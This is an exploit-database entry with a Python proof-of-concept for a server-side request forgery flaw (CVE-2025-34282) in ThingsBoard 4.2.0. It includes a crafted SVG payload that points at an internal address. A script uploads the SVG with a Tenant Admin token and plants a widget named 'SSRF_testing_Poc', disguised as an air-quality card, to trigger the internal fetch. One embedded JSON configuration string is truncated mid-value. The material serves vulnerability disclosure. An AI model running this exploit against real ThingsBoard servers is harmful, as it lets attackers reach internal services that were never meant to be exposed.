Share
## https://sploitus.com/exploit?id=PACKETSTORM:220574
# Exploit Title: ThingsBoard IoT Platform 4.2.0 - Server-Side Request Forgery (SSRF) 
    # Date: 2026-03-25
    # Exploit Author: Tamil Mathi T.
    # Vendor Homepage: https://thingsboard.io
    # Software Link: https://github.com/thingsboard/thingsboard
    # Version: < 4.2.1
    # Tested On: ThingsBoard 4.2.0
    # CVE: CVE-2025-34282
    # References: https://www.cve.org/CVERecord?id=CVE-2025-34282
    #             https://github.com/mathitam/thingsboard-ssrf-cve-2025-34282
    #
    # Description:
    #   ThingsBoard versions before 4.2.1 are vulnerable to SSRF via the Image
    #   Upload Gallery feature. An attacker can upload a crafted SVG file containing
    #   a remote URL reference (e.g. via <image xlink:href="http://127.0.0.1:5555">).
    #   When ThingsBoard processes the uploaded SVG server-side, it fetches the
    #   referenced URL, allowing the attacker to reach internal services not
    #   exposed to the internet.
    #
    #   Requires a Tenant Admin bearer token. Tenant Admin is a role below System
    #   Admin in ThingsBoard's hierarchy and has access to the Widget Library and
    #   Image Upload Gallery APIs used in this exploit.
    #
    #   Attack chain:
    #     1. Upload a malicious SVG to POST /api/image
    #        -> Server processes the SVG and issues a request to the internal URL
    #     2. Create a custom widget embedding the SVG's publicLink via <object> tag
    #        -> Widget render also triggers the server-side fetch
    #
    #   SVG payload used (ssrf_localhost_5555_svg.svg):
    #     <?xml version="1.0" standalone="no"?>
    #     <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"
    #          xmlns:xlink="http://www.w3.org/1999/xlink"
    #          xmlns:ev="http://www.w3.org/2001/xml-events">
    #     <defs>
    #       <pattern id="img1" patternUnits="userSpaceOnUse" width="600" height="450">
    #         <image xlink:href="http://127.0.0.1:5555" x="0" y="0" width="600" height="450" />
    #       </pattern>
    #     </defs>
    #     <path d="M5,50 l0,100 l100,0 l0,-100 l-100,0 ..." fill="url(#img1)" />
    #     </svg>
    #
    # Usage:
    #   pip install requests
    #   python thingsboard_ssrf.py <svg_file> <bearer_token>
    #
    # Example:
    #   python thingsboard_ssrf.py ssrf_localhost_5555_svg.svg eyJhbGci...
    
    import requests
    import json
    import os
    import sys
    import argparse
    import time
    
    DEFAULT_URL_UPLOAD = "http://localhost:8080/api/image"
    DEFAULT_URL_WIDGET = "http://localhost:8080/api/widgetType"
    DEFAULT_REFERER = "http://localhost:8080/resources/images"
    DEFAULT_ORIGIN = "http://localhost:8080"
    
    def upload_image(filepath, token):
        if not os.path.isfile(filepath):
            raise SystemExit(f"File not found: {filepath}")
    
        filename = os.path.basename(filepath)
    
        mime_types = {
            '.svg': 'image/svg+xml',
            '.jpg': 'image/jpeg',
            '.jpeg': 'image/jpeg',
            '.png': 'image/png',
            '.gif': 'image/gif'
        }
        ext = os.path.splitext(filename)[1].lower()
        mime_type = mime_types.get(ext, 'application/octet-stream')
    
        headers = {
            "X-Authorization": f"Bearer {token}",
            "User-Agent": "python-requests/2.x",
            "Referer": DEFAULT_REFERER,
            "Origin": DEFAULT_ORIGIN,
        }
    
        with open(filepath, "rb") as f:
            files = {
                "file": (filename, f, mime_type)
            }
            resp = requests.post(DEFAULT_URL_UPLOAD, headers=headers, files=files, timeout=30, allow_redirects=False)
    
        return resp
    
    def create_widget(public_link, token):
        headers = {
            "X-Authorization": f"Bearer {token}",
            "Content-Type": "application/json",
            "Accept": "application/json, text/plain, */*",
            "Origin": DEFAULT_ORIGIN,
            "User-Agent": "python-requests"
        }
    
        template_html = f"""
        <tb-value-card-widget
            [ctx]="ctx"
            [widgetTitlePanel]="widgetTitlePanel">
        </tb-value-card-widget>
        <object data="{public_link}" type="image/svg+xml"></object>
        """
    
        payload = {
            "fqn": "SSRF_testing_Poc",
            "name": "SSRF_testing_Poc",
            "deprecated": False,
            "image": "tb-image;/api/images/system/air_quality_index_card_system_widget_image.png",
            "description": "Displays the latest air quality index telemetry in a scalable rectangle card.",
            "descriptor": {
                "type": "latest",
                "sizeX": 3,
                "sizeY": 3,
                "resources": [],
                "templateHtml": template_html,
                "templateCss": "",
                "controllerScript": "self.onInit = function() {\n    self.ctx.$scope.valueCardWidget.onInit();\n};\n\nself.onDataUpdated = function() {\n    self.ctx.$scope.valueCardWidget.onDataUpdated();\n};\n\nself.typeParameters = function() {\n    return {\n        maxDatasources: 1,\n        maxDataKeys: 1,\n        singleEntity: true,\n        previewWidth: '250px',\n        previewHeight: '250px',\n        embedTitlePanel: true,\n        supportsUnitConversion: true,\n        defaultDataKeysFunction: function() {\n            return [{ name: 'air', label: 'Air Quality Index', type: 'timeseries' }];\n        }\n    };\n};\n\nself.onDestroy = function() {\n};\n",
                "dataKeySettingsForm": [],
                "settingsDirective": "tb-value-card-widget-settings",
                "hasBasicMode": True,
                "basicModeDirective": "tb-value-card-basic-config",
                "defaultConfig": "{\"datasources\":[{\"type\":\"function\",\"name\":\"function\",\"dataKeys\":[{\"name\":\"f(x)\",\"type\":\"function\",\"label\":\"Air Quality Index\",\"color\":\"#2196f3\",\"settings\":{},\"_hash\":0.2392660816082064,\"funcBody\":\"var value = prevValue + Math.random() * 100 - 50;\\nif (value < 0) {\\n\\tvalue = 0;\\n} else if (value > 320) {\\n\\tvalue = 320;\\n}\\nreturn value;\",\"aggregationType\":null,\"units\":null,\"decimals\":null,\"usePostProcessing\":null,\"postFuncBody\":null}],\"alarmFilterConfig\":{\"statusList\":[\"ACTIVE\"]}}],\"timewindow\":{\"realtime\":{\"timewindowMs\":60000}},\"showTitle\":false,\"backgroundColor\":\"rgba(0, 0, 0, 0)\",\"color\":\"rgba(0, 0, 0, 0.87)\",\"padding\":\"0px\",\"settings\":{\"labelPosition\":\"top\",\"layout\":\"square\",\"showLabel\":true,\"labelFont\":{\"size\":14,\"sizeUnit\":\"px\",\"family\":\"Roboto\",\"weight\":\"500\",\"style\":\"normal\"},\"labelColor\":{\"type\":\"constant\",\"color\":\"rgba(0, 0, 0, 0.87)\",\"colorFunction\":\"var temperature = value;\\nif (typeof temperature !== undefined) {\\n  var percent = (temperature + 60)/120 * 100;\\n  return tinycolor.mix('blue', 'red', percent).toHexString();\\n}\\nreturn 'blue';\"},\"showIcon\":true,\"iconSize\":40,\"iconSizeUnit\":\"px\",\"icon\":\"mdi:weather-windy\",\"iconColor\":{\"type\":\"range\",\"color\":\"rgba(0, 0, 0, 0.87)\",\"rangeList\":[{\"from\":0,\"to\":50,\"color\":\"#80C32C\"},{\"from\":50,\"to\":100,\"color\":\"#FFA600\"},{\"from\":100,\"to\":150,\"color\":\"#F36900\"},{\"from\":150,\"to\":200,\"color\":\"#D81838\"},{\"from\":200,\"to\":300,\"color\":\"#8D28C\"},{\"from\":300,\"to\":null,\"color\":\"#6F113A\"}],\"colorFunction\":\"var temperature = value;\\nif (typeof temperature !== undefined) {\\n  var percent = (temperature + 60)/120 * 100;\\n  return tinycolor.mix('blue', 'red', percent).toHexString();\\n}\\nreturn 'blue';\"},\"valueFont\":{\"size\":26,\"sizeUnit\":\"px\",\"family\":\"Roboto\",\"weight\":\"500\",\"style\":\"normal\"},\"valueColor\":{\"type\":\"range\",\"color\":\"rgba(0, 0, 0, 0.87)\",\"colorFunction\":\"var temperature = value;\\nif (typeof temperature !== undefined) {\\n  var percent = (temperature + 60)/120 * 100;\\n  return tinycolor.mix('blue', 'red', percent).toHexString();\\n}\\nreturn 'blue';\",\"rangeList\":[{\"from\":0,\"to\":50,\"color\":\"#80C32C\"},{\"from\":50,\"to\":100,\"color\":\"#FFA600\"},{\"from\":100,\"to\":150,\"color\":\"#F36900\"},{\"from\":150,\"to\":200,\"color\":\"#D81838\"},{\"from\":200,\"to\":300,\"color\":\"#8D28C\"},{\"from\":300,\"to\":null,\"color\":\"#6F113A\"}]},\"showDate\":true,\"dateFormat\":{\"format\":null,\"lastUpdateAgo\":true,\"custom\":false},\"dateFont\":{\"family\":\"Roboto\",\"size\":12,\"sizeUnit\":\"px\",\"style\":\"normal\",\"weight\":\"500\"},\"dateColor\":{\"type\":\"constant\",\"color\":\"rgba(0, 0, 0, 0.38)\",\"colorFunction\":\"var temperature = value;\\nif (typeof temperature !== undefined) {\\n  var percent = (temperature + 60)/120 * 100;\\n  return tinycolor.mix('blue', 'red', percent).toHexString();\\n}\\nreturn 'blue';\"},\"background\":{\"type\":\"color\",\"color\":\"#fff\",\"overlay\":{\"enabled\":false,\"color\":\"rgba(255,255,255,0.72)\",\"blur\":3}},\"autoScale\":true},\"title\":\"Air quality card\",\"dropShadow\":true,\"enableFullscreen\":false,\"titleStyle\":{\"fontSize\":\"16px\",\"fontWeight\":400},\"units\":\"AQI\",\"decimals\":1,\"useDashboardTimewindow\":true,\"showLegend\":false,\"widgetStyle\":{},\"actions\":{},\"configMode\":\"basic\",\"displayTimewindow\":true,\"margin\":\"0px\",\"borderRadius\":\"0px\",\"widgetCss\":\"\",\"pageSize\":1024,\"noDataDisplayMessage\":\"\",\"showTitleIcon\":false,\"titleTooltip\":\"\",\"titleFont\":{\"size\":12,\"sizeUnit\":\"px\",\"family\":null,\"weight\":null,\"style\":null,\"lineHeight\":\"1.6\"},\"titleIcon\":\"\",\"iconColor\":\"rgba(0, 0, 0, 0.87)\",\"iconSize\":\"14px\",\"timewindowStyle\":{\"showIcon\":true,\"iconSize\":\"14px\",\"icon\":\"query_builder\",\"iconPosition\":\"left\",\"font\":{\"size\":12,\"sizeUnit\":\"px\",\"family\":n
            },
            "resources": None,
            "scada": False,
            "tags": ["weather", "environment", "air", "aqi", "pollution", "emission", "smog"]
        }
    
        try:
            resp = requests.post(DEFAULT_URL_WIDGET, headers=headers, json=payload)
            return resp
        except Exception as e:
            print(f"Request failed: {e}", file=sys.stderr)
            sys.exit(1)
    
    def main(image_path, token):
        try:
            resp = upload_image(image_path, token)
            print("Upload Status:", resp.status_code)
    
            public_link = resp.json().get("publicLink") or (resp.json().get("data") and resp.json()["data"].get("publicLink"))
            if not public_link:
                print(resp.json())
                print("Failed to retrieve public link from response.")
                sys.exit(1)
    
            print("Public Link:", public_link)
    
            time.sleep(2)
    
            widget_resp = create_widget(public_link, token)
            print("Widget Creation Status:", widget_resp.status_code)
            print("\n[+] Widget created successfully.")
            print("    Look for widget named 'SSRF_testing_Poc' in the Widget Library.")
            print("    Add it to any dashboard to trigger the SSRF.")
    
        except Exception as e:
            print("Error:", e, file=sys.stderr)
            sys.exit(1)
    
    if __name__ == "__main__":
        parser = argparse.ArgumentParser(description="ThingsBoard SSRF via SVG Upload PoC")
        parser.add_argument("image", help="Path to the SVG file to upload")
        parser.add_argument("token", nargs="?", default=os.environ.get("TB_TOKEN"), help="Bearer token (or set TB_TOKEN env var)")
        args = parser.parse_args()
    
        if not args.token:
            print("Error: token not provided and TB_TOKEN not set.", file=sys.stderr)
            parser.print_help()
            sys.exit(2)
    
        main(args.image, args.token)